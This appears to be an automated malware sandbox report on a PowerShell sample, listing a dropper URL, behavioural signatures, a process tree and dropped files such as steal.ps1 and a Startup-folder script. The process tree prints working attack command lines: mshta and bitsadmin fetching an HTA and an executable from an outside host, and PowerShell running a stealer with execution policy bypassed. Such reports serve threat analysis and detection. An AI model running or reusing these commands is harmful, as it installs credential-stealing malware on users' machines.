Resubmissions

09/08/2026, 00:42

260809-a2pjaaga9710

09/08/2026, 00:41

260809-a1rl9afm7v10

09/08/2026, 00:27

260809-ar2e4afl8t10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 00:27

General

  • Target
    trigger.ps1
  • Size 26B
  • Sample260809-ar2e4afl8t
  • SHA256 5f78ec753f10791d682272dba1fa840421731552e48a1b6ce2647ff8b7e16dd3
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://genthub.app/

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://genthub.app/

Signatures

  • Badlisted process makes network request 18 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Download via BitsAdmin 1 TTPs 2 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Adds Run key to start application 2 TTPs 4 IoCs
  • Looks up external IP address via web service 1 TTPs 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4212
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" https://genthub.app/
      2⤵
      • Badlisted process makes network request
      • Checks computer location settings
      • Creates a file in the Startup directory
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:4972
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2772
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4076
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rmwkktxh\rmwkktxh.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5092
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7327.tmp" "c:\Users\Admin\AppData\Local\Temp\rmwkktxh\CSCAC93221AD6C34139B2C6D16B8F6294B.TMP"
              6⤵
                PID:3812
        • C:\Windows\System32\bitsadmin.exe
          "C:\Windows\System32\bitsadmin.exe" /transfer rdownload /download /priority high https://genthub.app/g C:\Users\Admin\AppData\Local\Temp\RAMGrabber.exe
          3⤵
          • Download via BitsAdmin
          PID:3024
    • C:\Windows\system32\mshta.exe
      mshta https://genthub.app/
      1⤵
      • Badlisted process makes network request
      • Checks computer location settings
      • Creates a file in the Startup directory
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:2524
      • C:\Windows\System32\bitsadmin.exe
        "C:\Windows\System32\bitsadmin.exe" /transfer rdownload /download /priority high https://genthub.app/g C:\Users\Admin\AppData\Local\Temp\RAMGrabber.exe
        2⤵
        • Download via BitsAdmin
        PID:2056

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          B0F267B0FCA4E80F471033DC464E4E7D

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B0F267B0FCA4E80F471033DC464E4E7D
          • Size 129KB
          • SHA256 585433e39f5687a31b643377cdd395300887b19cee8755634ee1414143751250
          • MD5 SHA1 SHA512 SSDEEP TLSH

          F15827BEC5BABE89C21DCDAE77464BF1

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F15827BEC5BABE89C21DCDAE77464BF1
          • Size 701B
          • SHA256 108dd34232a3088b45534933d0486409616a2bbad94fd8f7ab5991c01ff179b6
          • MD5 SHA1 SHA512 TLSH

          B0F267B0FCA4E80F471033DC464E4E7D

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B0F267B0FCA4E80F471033DC464E4E7D
          • Size 246B
          • SHA256 0e99bae9e9ceba7697dc26c3023eda673ba31f28c4813a9c85791b52633a4436
          • MD5 SHA1 SHA512 TLSH

          F15827BEC5BABE89C21DCDAE77464BF1

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F15827BEC5BABE89C21DCDAE77464BF1
          • Size 192B
          • SHA256 7b8d902decc4a3d8e7109f858c88cf9cea14971b3fb848cd638bf37085f7ec41
          • MD5 SHA1 SHA512 TLSH

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH

          JRD64C8I.hta

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YK6WTHFY\JRD64C8I.hta
          • Size 12KB
          • SHA256 ec9a70783395c14625c890b9acd2c0398a9e379c9cd76339608e1cdbc0025a81
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 e01c06d94e15689c6f1df12a7c01e8c99b16e693bff41af88917a31b93cc1bf0
          • MD5 SHA1 SHA512

          RES7327.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES7327.tmp
          • Size 1KB
          • SHA256 e7fb175d255b00cf061ffcbec0b12e30dbe788e6856563bb9c9d89e0fd2c0c89
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_wxpdvtps.bpc.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wxpdvtps.bpc.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          rmwkktxh.dll

          • Path C:\Users\Admin\AppData\Local\Temp\rmwkktxh\rmwkktxh.dll
          • Size 3KB
          • SHA256 bfc03a48fbcb751af21b54573f704af3b8a6ffb189985dbd0dc9e9ecfd2ce9db
          • MD5 SHA1 SHA512 TLSH

          steal.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\steal.ps1
          • Size 7KB
          • SHA256 995fdb6f3151b80a3bac583aa9d318fec16b18c7f443149ffa65042ed4cecd5f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          steal_result.txt

          • Path C:\Users\Admin\AppData\Local\Temp\steal_result.txt
          • Size 128KB
          • SHA256 81484017df5a004cf46b73fa92c5e8e0505a5124adb513d3130f8236c062d8f1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          trace.txt

          • Path C:\Users\Admin\AppData\Local\Temp\trace.txt
          • Size 27B
          • SHA256 e3f52d2cfda6fa2a0c2d0f1e3d86dc48347baa60b0bf34ea0421c4fc4ddc3d2e
          • MD5 SHA1 SHA512

          winupdate.vbs

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winupdate.vbs
          • Size 186B
          • SHA256 4c63673c30b49df2544b0aedffff558574deb377742fa7eb3e4a836998e5e76d
          • MD5 SHA1 SHA512 TLSH

          CSCAC93221AD6C34139B2C6D16B8F6294B.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\rmwkktxh\CSCAC93221AD6C34139B2C6D16B8F6294B.TMP
          • Size 652B
          • SHA256 9faca4ef42d7d90821d5d42707a0ff64227375b219b3e873dea696a01a60ffba
          • MD5 SHA1 SHA512 TLSH

          rmwkktxh.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\rmwkktxh\rmwkktxh.0.cs
          • Size 855B
          • SHA256 5ede0b5ef8c22d7f8679d41bc590a17a3fcfb8af7e05feaa486651a71e3352a2
          • MD5 SHA1 SHA512 TLSH

          rmwkktxh.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\rmwkktxh\rmwkktxh.cmdline
          • Size 369B
          • SHA256 07556b9d70b40d2a6f9e9221a882e3f6b2052a057aa8c7e3db3839eecdadc8b9
          • MD5 SHA1 SHA512 TLSH

          memory/4076-46-0x000001DE62570000-0x000001DE62578000-memory.dmp

          memory/4076-47-0x000001DE63AA0000-0x000001DE63C62000-memory.dmp

          memory/4076-33-0x000001DE63880000-0x000001DE638D0000-memory.dmp

          memory/4212-0-0x00000268ECEE0000-0x00000268ECEF0000-memory.dmp

          memory/4212-2-0x00000268ECE30000-0x00000268ECE52000-memory.dmp

          memory/4212-1-0x00000268ECEE0000-0x00000268ECEF0000-memory.dmp